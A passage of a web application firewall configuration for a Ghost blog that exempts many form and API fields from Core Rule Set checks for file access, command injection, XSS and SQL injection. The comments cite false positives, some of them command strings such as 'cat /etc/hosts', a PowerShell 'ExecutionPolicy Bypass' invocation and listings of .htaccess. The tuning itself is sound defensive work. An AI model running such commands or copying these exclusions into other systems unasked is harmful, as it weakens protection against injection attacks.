# query, a search for an account in ActivityPub, skips the eight rules that
|
|
||||||
# 900353 lists: query=python3, query=@powershell@example.com.
|
|
||||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
|
|
||||||
"id:900369,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:query,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:query"
|
|
||||||
|
|
||||||
# The fields a person types plain text into skip eight rules on the Admin API,
|
|
||||||
# which refused words that name commands and files:
|
|
||||||
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
|
||||||
# 932120: the page's slug about-python3-powershell-htaccess
|
|
||||||
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
|
||||||
# 932235: the title "powershell & python3"
|
|
||||||
# 932260: the tag python3
|
|
||||||
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
|
|
||||||
# These fields hold plain text:
|
|
||||||
# title, name and slug of posts, pages, tags, labels, members, newsletters
|
|
||||||
# and snippets; a post's tags and a member's labels, by name or slug
|
|
||||||
# custom_excerpt, description, note and sender_name
|
|
||||||
# meta_title, meta_description, og_title, og_description, twitter_title and
|
|
||||||
# twitter_description
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900353,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
|
|
||||||
|
|
||||||
# name, the name a member saves at /members/api/, skips the same eight rules.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
|
||||||
"id:900359,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
|
|
||||||
|
|
||||||
# More fields of plain text skip the same eight rules on the Admin API, which
|
|
||||||
# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
|
|
||||||
# "powershell & python3 deal" in them:
|
|
||||||
# users.<n>.name, slug, bio, location and website, a staff user's profile
|
|
||||||
# setup.<n>.blogTitle and name, creating the first staff user
|
|
||||||
# invitation.<n>.name, accepting a staff invitation
|
|
||||||
# tiers.<n>.name, description and benefits
|
|
||||||
# offers.<n>.name, code, display_title and display_description
|
|
||||||
# recommendations.<n>.title, description and excerpt
|
|
||||||
# integrations.<n>.name and description, and webhooks.<n>.name
|
|
||||||
# posts.<n>.feature_image_alt and feature_image_caption, and the same fields
|
|
||||||
# of pages
|
|
||||||
# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900370,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
|
|
||||||
|
|
||||||
# A member's comment, html at /members/api/comments/, skips the same eight
|
|
||||||
# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
|
|
||||||
# rules for scripts and HTML still refuse a <script> element, an event handler
|
|
||||||
# and a javascript: link in it.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
|
|
||||||
"id:900371,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
|
|
||||||
|
|
||||||
# labels, which the admin gives the members imported from a CSV file at
|
|
||||||
# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
|
|
||||||
# "python3 import" and "powershell & .htaccess".
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
|
|
||||||
"id:900372,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:labels "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:labels,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:labels,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:labels,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:labels,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:labels,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:labels,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:labels"
|
|
||||||
|
|
||||||
# In ActivityPub, a note's or a reply's text and the description of its image,
|
|
||||||
# and an account's name, username and bio, skip the same eight rules. They
|
|
||||||
# refused "Trying python3 & powershell", the image's description "A terminal
|
|
||||||
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
|
|
||||||
# tips". Each field skips them on its own path:
|
|
||||||
# content and image.altText, posting a note at
|
|
||||||
# /.ghost/activitypub/v1/actions/note or a reply under
|
|
||||||
# /.ghost/activitypub/v1/actions/reply/
|
|
||||||
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
|
|
||||||
"id:900373,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
|
|
||||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
|
|
||||||
"id:900374,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
|
|
||||||
|
|
||||||
# A member's email address skips 930120, 932120 and 932260, which refused
|
|
||||||
# erin.htaccess@example.com, dave.powershell@example.com and
|
|
||||||
# python3.dev@example.com. These fields hold it:
|
|
||||||
# members.<n>.email, when the admin adds or edits a member under
|
|
||||||
# /ghost/api/admin/members/
|
|
||||||
# email, when a member signs up or in at /members/api/
|
|
||||||
# An address holds no spaces, so it keeps 932250, which needs ls -la.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/members/" \
|
|
||||||
"id:900354,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.members\.\d+\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.members\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.members\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.members\.\d+\.email$/"
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
|
||||||
"id:900360,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.email$/"
|
|
||||||
|
|
||||||
# A staff user's email address also skips 930120, 932120 and 932260, which
|
|
||||||
# refused erin.htaccess@example.com, dave.powershell@example.com and
|
|
||||||
# python3.dev@example.com. Each of these fields skips them only on its own path:
|
|
||||||
# username, signing in at /ghost/api/admin/session/
|
|
||||||
# setup.<n>.email, creating the first staff user
|
|
||||||
# password_reset.<n>.email, asking for a password reset
|
|
||||||
# users.<n>.email, saving a staff user's profile
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/session/" \
|
|
||||||
"id:900361,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.username$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.username$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.username$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.username$/"
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/setup/" \
|
|
||||||
"id:900362,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.setup\.\d+\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.setup\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.setup\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.setup\.\d+\.email$/"
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/password_reset/" \
|
|
||||||
"id:900363,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.password_reset\.\d+\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.password_reset\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.password_reset\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.password_reset\.\d+\.email$/"
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
|
||||||
"id:900364,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.users\.\d+\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.users\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
|
|
||||||
|
|
||||||
# The address of a staff invitation skips the same three rules. Each of these
|
|
||||||
# fields skips them only on its own path:
|
|
||||||
# invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
|
|
||||||
# email in the query, checking an invitation at
|
|
||||||
# /ghost/api/admin/authentication/invitation/
|
|
||||||
# invitation.<n>.email, accepting it at the same path
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
|
|
||||||
"id:900375,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
|
||||||
"id:900376,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:email,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:email,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:email"
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
|
||||||
"id:900377,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
|
|
||||||
|
|
||||||
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
|
|
||||||
# They refused the handles @erin.htaccess@example.com and
|
|
||||||
# @powershell@example.com, and the addresses
|
|
||||||
# https://example.com/users/erin.htaccess and
|
|
||||||
# https://example.com/users/powershell. A handle starts with an @, so 932260
|
|
||||||
# does not refuse @python3.dev@example.com. The domain of the site's handle
|
|
||||||
# skips the same three rules as an email address, which refused
|
|
||||||
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
|
|
||||||
# Each of these fields skips them only on its own path:
|
|
||||||
# sourceHandle, an account that moves here, added at
|
|
||||||
# /.ghost/activitypub/v1/aliases
|
|
||||||
# actorUri, that account's address, when the admin removes it there
|
|
||||||
# targetHandle, the account this one moves to, at
|
|
||||||
# /.ghost/activitypub/v1/migration
|
|
||||||
# domain, saved at /.ghost/activitypub/v1/domain and checked at
|
|
||||||
# /.ghost/activitypub/v1/domain/validate
|
|
||||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
|
|
||||||
"id:900379,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
|
|
||||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
|
|
||||||
"id:900380,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
|
|
||||||
"id:900381,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
|
|
||||||
|
|
||||||
# The articles skip these rules on the Admin API:
|
|
||||||
# 930120: ls -la /var/www/html/.htaccess in a code block
|
|
||||||
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
|
||||||
# 932125, 932230, 932235, 932250: cat /etc/hosts | grep example
|
|
||||||
# 932160: #!/usr/bin/env python3
|
|
||||||
# 932260: python3 -m venv .venv
|
|
||||||
# 932370: the same list in the html of a post saved through the API
|
|
||||||
# 932380: a code block whose second line starts with powershell
|
|
||||||
# 934100: document.querySelectorAll('a').forEach((a) => console.log(a.href))
|
|
||||||
# 941100, 941160: an HTML card with an iframe
|
|
||||||
# 941120: onclick= in an HTML card
|
|
||||||
# 941180: window.onload in a code block
|
|
||||||
# 941390: console.log(
|
|
||||||
# 942190: a code block with an SQL query
|
|
||||||
# These fields hold an article:
|
|
||||||
# posts.<n>.lexical and pages.<n>.lexical, which the editor saves, and the
|
|
||||||
# same fields mobiledoc, in Ghost's older format, and html, which
|
|
||||||
# integrations send
|
|
||||||
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
|
|
||||||
# reuse
|
|
||||||
# newsletters.<n>.footer_content, the footer of a newsletter
|
|
||||||
# A javascript: link (941170, 941210) is still refused in them. A <script>
|
|
||||||
# element (941110) passes only in posts and pages, by 900366.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900355,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
|
||||||
